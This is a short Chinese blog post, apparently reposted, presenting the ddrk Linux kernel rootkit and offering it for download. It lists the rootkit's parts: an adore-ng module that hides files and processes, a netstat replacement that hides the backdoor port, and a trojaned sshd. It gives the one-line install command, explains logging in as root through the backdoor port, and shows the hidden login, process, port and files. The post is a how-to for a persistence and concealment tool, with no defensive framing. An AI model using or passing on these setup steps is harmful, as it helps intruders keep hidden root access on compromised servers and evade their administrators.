感谢支持
我们一直在努力

Linux下rootkit-ddrk

ddrk(DoDo’s Rootkit)是一个Linux结合shv和adore-ng优点的,内核级rootkit


文件列表


netstat        #替换系统的netstat,从ssh配置文件中读取端口,并隐藏


rk.ko        #adore-ng编译后的内核模块,实现文件,进程隐藏功能


setup        #rootkit安装主文件


tty        #adore-ng带的ava工具


bin.tgz


—ttymon


—sshd.tgz


—sshd        #sshd主程序


—shdcf2        #sshd配置文件


使用方法


#./setup password port


如果不设置用户名和端口,那么setup会利用文件里默认的用户名和密码安装


安装以后,使用ssh客户端远程连上此端口,使用用户名root,密码为设置的密码。


登录后效果


隐藏效果


使用W看当前登录用户,只有本地用户


Linux下rootkit-ddrk/图 www.linuxidc.com


查看SSHD进程ttyload


查看端口,无预设的43958


Linux下rootkit-ddrk/图 www.linuxidc.com


查看rootkit相关文件,UID,GID都一样,已经隐藏好


Linux下rootkit-ddrk/图 www.linuxidc.com



点击下载

赞(0) 打赏
转载请注明出处:服务器评测 » Linux下rootkit-ddrk
分享到: 更多 (0)

听说打赏我的人,都进福布斯排行榜啦!

支付宝扫一扫打赏

微信扫一扫打赏